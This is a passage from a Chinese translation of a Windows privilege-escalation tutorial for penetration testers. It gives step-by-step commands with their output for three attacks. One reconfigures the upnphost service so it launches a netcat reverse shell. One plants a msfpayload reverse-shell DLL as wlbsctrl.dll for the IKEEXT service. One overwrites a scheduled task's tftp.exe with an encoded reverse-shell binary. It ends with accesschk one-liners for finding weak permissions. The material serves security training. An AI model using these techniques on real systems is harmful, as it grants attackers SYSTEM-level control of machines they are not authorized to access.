SERVICE_ALL_ACCESS
C:\> accesschk.exe -ucqv upnphost
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS这个问题在之后的 XP SP2 版本中得到了解决，然而在 SP0 和 SP1 它可以被用作一个通用的本地提权漏洞。通过重新配置该服务，我们可以让它以 SYSTEM 权限运行任何我们指定的二进制文件。 让我们来看看怎么实践操作，在这个例子里该服务将会执行 netcat 并且可以反弹一个 SYSTEM 权限的 shell。其它的操作方法当然也是可能存在的。
C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : NT AUTHORITY\LocalService
C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
[SC] ChangeServiceConfig SUCCESS
C:\> sc config upnphost obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS
C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : LocalSystem
C:\> net start upnphost
即使服务是不正确配置的，我们大多时候也不能获取该服务完整的控制权限。下图是从 Brett Moore’s 在 Windows 提权方面的渗透测试，图中的任一权限都可以给我们一个 SYSTEM shell
重要的是去记住我们搞定的 session 是属于哪个用户组的，正如先前提到的 “Power Users” 被视为是一个低权限用户组。但 “Power Users” 也有一些属于他们自己的配置漏洞， Mark Russinovich 已经在这个问题上写了非常有趣的文章。 “Power Users” 的力量 ( Mark Russinovich )
最后，我们将会检查文件/目录的权限，如果我们不能直接攻击计算机系统，我们就让计算机做所有的繁重工作。由于这方面涉及内容太多，所以我将介绍两种提权漏洞给你，并展示如何去利用它们。一旦你掌握了通用的思路，你将能够在其它场景下应用这些技术。
实例一
作为第一个示例，我们将复现 GreyHatHacker 上 Parvez 的一篇文章中的方法。“利用低文件夹权限提权”，这是一个很棒的提权思路，我非常推荐大家去阅读。
这个示例是DLL 劫持中的一个特例。程序通常不能通过它们自身实现功能，它们需要挂载许多自身所需的资源（大多是 DLL 但也有某些特有文件）。如果一个程序或服务从一个我们拥有写权限的目录中装载了文件，那我们就可以借此弹出一个与之相同权限的 shell 通常一个 Windows 应用程序将会使用一个预定义的搜索路径去寻找 DLL 组件，而且它会以特定的顺序检查这些路径。DLL 劫持经常是将一个恶意的 DLL 置于某一搜索路径中，并确保恶意 DLL 会在合法的 DLL 之前被找到。
以下是在32位操作系统下 DLL 查找的顺序
有时应用程序想要加载的 DLL 可能不在主机上，引起该问题的原因有很多，比如当 DLL 文件只存在于某个未安装的插件或者计算机特性（feature）时。在这种情况下， Parvez 发现某些 Windows 服务会去试图加载默认安装中不存在的 DLL。
但由于问题中的 DLL 不存在，所以我们将遍历所有路径。作为一个低权限的用户，也许我们可以去放置一个恶意 DLL 在上述路径中的 1-4 中。而路径 5 是行不通的，因为我们正在研究的是 Windows 服务，我们并没有所有目录的写权限
让我们来看一下如何进行实战，在本例中，我们将会利用需要加载 wlbsctrl.dll 的 IKEEXT (IKE and AuthIP IPsec Keying Modules) 服务
# This is on Windows 7 as low privilege user1.
C:\Users\user1\Desktop> echo %username%
user1
# We have a win here since any non-default directory in "C:\" will give write access to authenticated
users.
C:\Users\user1\Desktop> echo %path%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Program Files\OpenVPN\bin;C:\Python27
# We can check our access permissions with accesschk or cacls.
C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"
C:\Python27
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
R BUILTIN\Users
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
RW NT AUTHORITY\Authenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
C:\Users\user1\Desktop> cacls "C:\Python27"
C:\Python27 BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see
it is set to "AUTO_START" so it will launch on boot!
C:\Users\user1\Desktop> sc qc IKEEXT
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IKEEXT
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules
DEPENDENCIES : BFE
SERVICE_START_NAME : LocalSystem现在必要的条件都已经满足了，我们可以生成一个恶意的 DLL 并弹出一个 shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D >
/root/Desktop/evil.dll
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 314
Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}在将恶意 DLL 传送到靶机之后，我们需要将它重命名为 wlbsctrl.dll 并将它移动到 “C:\Python27” 路径下。完成后，我们只需要耐心等待机器被重启（或者我们可以尝试强制重启），之后我们就可以得到一个 SYSTEM shell。
# Again, this is as low privilege user1.
C:\Users\user1\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:\Users\user1\Desktop
02/18/2014 01:49 PM <DIR> .
02/18/2014 01:49 PM <DIR> ..
04/22/2013 09:39 AM 331,888 accesschk.exe
02/18/2014 12:38 PM 14,336 evil.dll
01/25/2014 12:46 AM 36,864 fubar.exe
01/22/2014 08:17 AM <DIR> incognito2
06/30/2011 01:52 PM 1,667,584 ncat.exe
11/22/2013 07:39 PM 1,225 wmic_info.bat
5 File(s) 2,051,897 bytes
3 Dir(s) 73,052,160 bytes free
C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll
1 file(s) copied.
C:\Users\user1\Desktop> dir C:\Python27
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:\Python27
02/18/2014 01:53 PM <DIR> .
02/18/2014 01:53 PM <DIR> ..
10/20/2012 02:52 AM <DIR> DLLs
10/20/2012 02:52 AM <DIR> Doc
10/20/2012 02:52 AM <DIR> include
01/28/2014 03:45 AM <DIR> Lib
10/20/2012 02:52 AM <DIR> libs
04/10/2012 11:34 PM 40,092 LICENSE.txt
04/10/2012 11:18 PM 310,875 NEWS.txt
04/10/2012 11:31 PM 26,624 python.exe
04/10/2012 11:31 PM 27,136 pythonw.exe
04/10/2012 11:18 PM 54,973 README.txt
10/20/2012 02:52 AM <DIR> tcl
10/20/2012 02:52 AM <DIR> Tools
04/10/2012 11:31 PM 49,664 w9xpopen.exe
02/18/2014 12:38 PM 14,336 wlbsctrl.dll
7 File(s) 523,700 bytes
9 Dir(s) 73,035,776 bytes free万事俱备，我们只需要等待机器重启。出于演示目的，我在下面截图中是使用管理员指令手动重启该服务
对于我们最后的例子，我们将关注于计划任务。回顾我们之前搜集到的信息，我们有以下条目
HostName: B33F
TaskName: \LogGrabberTFTP
Next Run Time: 2/19/2014 9:00:00 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: B33F\b33f
Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 9:00:00 AM
Start Date: 2/17/2014
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled这看起来像有一个 TFTP 客户端连接到远程主机去搜集某些 log 文件。我们可以看到这个任务每日早9点以 SYSTEM 权限运行，再看看我们是否有这个文件夹的写入权限
C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"
E:\GrabLogs
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
R BUILTIN\Users
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
C:\Users\user1\Desktop> dir "E:\GrabLogs"
Volume in drive E is More
Volume Serial Number is FD53-2F00
Directory of E:\GrabLogs
02/18/2014 11:34 PM <DIR> .
02/18/2014 11:34 PM <DIR> ..
02/18/2014 11:34 PM <DIR> Logs
02/18/2014 09:21 PM 180,736 tftp.exe
1 File(s) 180,736 bytes
3 Dir(s) 5,454,602,240 bytes free显然这是一个严重的配置问题，这个计划任务根本不需要以 SYSTEM 权限执行，但更糟糕的是任何授权的用户都有该目录的写权限。理想情况下，对于一次渗透测试我会抓取一个 TFTP 客户端在里面放一个后门，确保它仍然正常工作，再将其放回靶机。然而出于演示目的，我们可以简单的通过 metasploit 生成一个二进制文件然后直接覆盖它。
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t
exe > /root/Desktop/evil-tftp.exe
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)现在工作只剩下上传我们的恶意可执行文件并覆盖掉 “E:\GrabLogs\tftp.exe” 文件。一旦上传成功，我们就可以去休息了，等到明早睡醒就可以得到我们的 shell 。对了，别忘记去检查我们靶机的时间/时区
C:\Users\user1\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:\Users\user1\Desktop
02/19/2014 01:36 AM <DIR> .
02/19/2014 01:36 AM <DIR> ..
04/22/2013 09:39 AM 331,888 accesschk.exe
02/19/2014 01:31 AM 73,802 evil-tftp.exe
01/25/2014 12:46 AM 36,864 fubar.exe
01/22/2014 08:17 AM <DIR> incognito2
06/30/2011 01:52 PM 1,667,584 ncat.exe
02/18/2014 12:38 PM 14,336 wlbsctrl.dll
11/22/2013 07:39 PM 1,225 wmic_info.bat
6 File(s) 2,125,699 bytes
3 Dir(s) 75,341,824 bytes free
C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe
Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes
1 file(s) copied.为了证明这次提权，我调快了系统时间。从以下截图中可以看到，在早9点时我们得到了 SYSTEM shell
在思考获取文件/文件夹权限时，这两个示例应该会给你一些寻找漏洞的思路。真正的实战中你可能需要花时间去检查所有的Windows服务、计划任务和开机任务的 binpaths
我们已经知道了 accesschk 是一种测试工具。
在文章结束之前，我会再给你一些使用 accesschk 的技巧
# When executing any of the sysinternals tools for the first time the user will be presented with a GUI
pop-up to accept the EULA. This is obviously a big problem, however we can add an extra command line flag
to automatically accept the EULA.
accesschk.exe /accepteula ... ... ...
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*最后的一些想法
本指南旨在成为Windows特权升级的“基础”。如果你想真正掌握这个主题，你需要投入大量的工作和研究。就像所有的渗透测试一样，举一反三是关键，你对目标的了解越多，攻击的途径越多，成功的几率就越大。 还要记住，有时你可能会将你的权限提升到管理员。从管理员到系统的提权是一个无关紧要的问题，你可以始终重新配置一个服务，或者创建一个具有系统级别特权的调度任务。 现在就去实践，然后得到SYSTEM!!
原文链接：http://www.fuzzysecurity.com/tutorials/16.html